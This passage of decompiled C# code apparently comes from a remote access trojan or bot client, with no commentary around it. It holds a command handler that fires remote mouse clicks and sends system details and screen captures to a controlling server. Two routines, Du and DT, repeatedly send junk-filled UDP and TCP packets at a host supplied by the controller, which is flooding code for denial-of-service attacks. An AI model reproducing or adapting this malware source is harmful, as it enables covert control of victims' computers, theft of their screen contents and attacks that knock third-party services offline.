(object) 2
}, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 3
}, (string[]) null)));
object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null);
if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false))
{
IND.mouse_event(8, 0, 0, 0, 1);
IND.mouse_event(16, 0, 0, 0, 1);
}
else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false))
{
IND.mouse_event(2, 0, 0, 0, 1);
IND.mouse_event(4, 0, 0, 0, 1);
}
else
{
if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false))
return;
IND.mouse_event(2, 0, 0, 0, 1);
IND.mouse_event(4, 0, 0, 0, 1);
IND.mouse_event(2, 0, 0, 0, 1);
IND.mouse_event(4, 0, 0, 0, 1);
}
}
else if (Operators.CompareString(Left1, "#33", false) == 0)
{
B b = MyProject.Forms.B;
string str72 = "#5" + IND.Y + API.Gt();
ref string local = ref str72;
b.SEND(ref local);
}
else
{
if (Operators.CompareString(Left1, "#34", false) != 0)
return;
IND.ER = 0;
Array Instance43 = Instance1;
object[] objArray78 = new object[1];
object[] objArray79 = objArray78;
int num55 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num55;
objArray79[0] = (object) local;
object[] Arguments = objArray78;
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null));
byte[] numArray = C.Capture1(ref integer);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num55,
(object) integer
}, (string[]) null, true, false);
byte[] buffer = numArray;
if (buffer.Length == 0)
return;
MemoryStream memoryStream = new MemoryStream();
memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
memoryStream.Write(buffer, 0, buffer.Length);
MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
}
}
catch (Exception ex)
{
int lErl = num1;
ProjectData.SetProjectError(ex, lErl);
Exception exception = ex;
B.Busy = false;
B b = MyProject.Forms.B;
string[] strArray13 = new string[6]
{
"#10",
IND.Y,
"^",
Conversions.ToString(IND.ER),
IND.Y,
null
};
string[] strArray14 = strArray13;
string message = exception.Message;
string str73 = API.ENB(ref message);
strArray14[5] = str73;
string str74 = string.Concat(strArray13);
ref string local = ref str74;
b.SEND(ref local);
IND.ER = 0;
ProjectData.ClearProjectError();
}
}
public static string siz(string Size)
{
if (Size.Length < 4)
return Size + " Bytes";
string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0);
string str2 = " KB";
int integer;
if (Strings.InStr(str1, ".") > 0)
{
Array Instance = (Array) Strings.Split(str1, ".");
str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null));
if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null).ToString().Length > 3)
integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null)), 1, 3));
else
integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null));
}
if (str1.Length > 3)
{
str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
str2 = " MB";
if (Strings.InStr(str1, ".") > 0)
{
Array Instance = (Array) Strings.Split(str1, ".");
str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null));
if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null).ToString().Length > 3)
integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null)), 1, 3));
else
integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null));
}
}
if (str1.Length > 3)
{
str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
str2 = " GB";
if (Strings.InStr(str1, ".") > 0)
{
Array Instance = (Array) Strings.Split(str1, ".");
str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null));
if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null).ToString().Length > 3)
integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null)), 1, 3));
else
integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 1
}, (string[]) null));
}
}
return str1 + "." + Conversions.ToString(integer) + str2;
}
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern void mouse_event(
int dwFlags,
int dx,
int dy,
int cButtons,
int dwExtraInfo);
public static byte[] SB(ref string s, ref byte[] B)
{
MemoryStream memoryStream = new MemoryStream();
byte[] bytes = Encoding.Default.GetBytes(s);
memoryStream.Write(bytes, 0, bytes.Length);
byte[] Byt = B;
bool flag = true;
ref bool local = ref flag;
byte[] buffer = API.ZIP(Byt, ref local);
memoryStream.Write(buffer, 0, buffer.Length);
return memoryStream.ToArray();
}
public static string _P(ref int y)
{
IND.pk = "";
int num = y;
for (int index = 0; index <= num; ++index)
IND.pk += "A";
return IND.pk;
}
public static void Du(Array z)
{
byte[] numArray = new byte[0];
Encoding ascii = Encoding.ASCII;
int y = 1000;
string s = IND._P(ref y);
byte[] bytes = ascii.GetBytes(s);
try
{
TcpClient tcpClient = new TcpClient();
Socket client = tcpClient.Client;
object[] objArray1 = new object[2];
object[] objArray2 = objArray1;
Array Instance1 = z;
object[] objArray3 = new object[1];
object[] objArray4 = objArray3;
int num1 = 0;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) num1;
objArray4[0] = (object) local1;
object[] Arguments1 = objArray3;
object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
objArray2[0] = objectValue1;
object[] objArray5 = objArray1;
Array Instance2 = z;
object[] objArray6 = new object[1];
object[] objArray7 = objArray6;
int num2 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) num2;
objArray7[0] = (object) local2;
object[] Arguments2 = objArray6;
object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
objArray5[1] = objectValue2;
object[] objArray8 = objArray1;
object[] Arguments3 = objArray8;
bool[] flagArray = new bool[2]{ true, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[0])
NewLateBinding.LateIndexSetComplex((object) z, new object[2]
{
(object) num1,
RuntimeHelpers.GetObjectValue(objArray8[0])
}, (string[]) null, true, false);
if (flagArray[1])
NewLateBinding.LateIndexSetComplex((object) z, new object[2]
{
(object) num2,
RuntimeHelpers.GetObjectValue(objArray8[1])
}, (string[]) null, true, false);
tcpClient.Close();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
return;
}
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1]
{
(object) 2
}, (string[]) null));
for (int index = 0; index <= integer; ++index)
{
UdpClient udpClient = new UdpClient();
try
{
UdpClient Instance3 = udpClient;
object[] objArray9 = new object[2];
object[] objArray10 = objArray9;
Array Instance4 = z;
object[] objArray11 = new object[1];
object[] objArray12 = objArray11;
int num3 = 0;
// ISSUE: variable of a boxed type
__Boxed<int> local3 = (ValueType) num3;
objArray12[0] = (object) local3;
object[] Arguments4 = objArray11;
object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
objArray10[0] = objectValue3;
object[] objArray13 = objArray9;
Array Instance5 = z;
object[] objArray14 = new object[1];
object[] objArray15 = objArray14;
int num4 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local4 = (ValueType) num4;
objArray15[0] = (object) local4;
object[] Arguments5 = objArray14;
object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
objArray13[1] = objectValue4;
object[] objArray16 = objArray9;
object[] Arguments6 = objArray16;
bool[] flagArray = new bool[2]{ true, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[0])
NewLateBinding.LateIndexSetComplex((object) z, new object[2]
{
(object) num3,
RuntimeHelpers.GetObjectValue(objArray16[0])
}, (string[]) null, true, false);
if (flagArray[1])
NewLateBinding.LateIndexSetComplex((object) z, new object[2]
{
(object) num4,
RuntimeHelpers.GetObjectValue(objArray16[1])
}, (string[]) null, true, false);
udpClient.Client.SendTimeout = 500;
udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
public static void DT(Array Z)
{
byte[] numArray = new byte[0];
Encoding ascii = Encoding.ASCII;
int y = 1000;
string s = IND._P(ref y);
byte[] bytes = ascii.GetBytes(s);
try
{
TcpClient tcpClient = new TcpClient();
Socket client = tcpClient.Client;
object[] objArray1 = new object[2];
object[] objArray2 = objArray1;
Array Instance1 = Z;
object[] objArray3 = new object[1];
object[] objArray4 = objArray3;
int num1 = 0;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) num1;
objArray4[0] = (object) local1;
object[] Arguments1 = objArray3;
object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
objArray2[0] = objectValue1;
object[] objArray5 = objArray1;
Array Instance2 = Z;
object[] objArray6 = new object[1];
object[] objArray7 = objArray6;
int num2 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) num2;
objArray7[0] = (object) local2;
object[] Arguments2 = objArray6;
object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
objArray5[1] = objectValue2;
object[] objArray8 = objArray1;
object[] Arguments3 = objArray8;
bool[] flagArray = new bool[2]{ true, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[0])
NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
{
(object) num1,
RuntimeHelpers.GetObjectValue(objArray8[0])
}, (string[]) null, true, false);
if (flagArray[1])
NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
{
(object) num2,
RuntimeHelpers.GetObjectValue(objArray8[1])
}, (string[]) null, true, false);
tcpClient.Close();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
return;
}
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1]
{
(object) 2
}, (string[]) null));
for (int index = 0; index <= integer; ++index)
{
TcpClient tcpClient = new TcpClient();
try
{
TcpClient Instance3 = tcpClient;
object[] objArray9 = new object[2];
object[] objArray10 = objArray9;
Array Instance4 = Z;
object[] objArray11 = new object[1];
object[] objArray12 = objArray11;
int num3 = 0;
// ISSUE: variable of a boxed type
__Boxed<int> local3 = (ValueType) num3;
objArray12[0] = (object) local3;
object[] Arguments4 = objArray11;
object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
objArray10[0] = objectValue3;
object[] objArray13 = objArray9;
Array Instance5 = Z;
object[] objArray14 = new object[1];
object[] objArray15 = objArray14;
int num4 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local4 = (ValueType) num4;
objArray15[0] = (object) local4;
object[] Arguments5 = objArray14;
object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
objArray13[1] = objectValue4;
object[] objArray16 = objArray9;
object[] Arguments6 = objArray16;
bool[] flagArray = new bool[2]{ true, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[0])
NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
{
(object) num3,
RuntimeHelpers.GetObjectValue(objArray16[0])
}, (string[]) null, true, false);
if (flagArray[1])
NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
{
(object) num4,
RuntimeHelpers.GetObjectValue(objArray16[1])
}, (string[]) null, true, false);
tcpClient.Client.SendTimeout = 500;
tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
public delegate void indd(string T);
}
}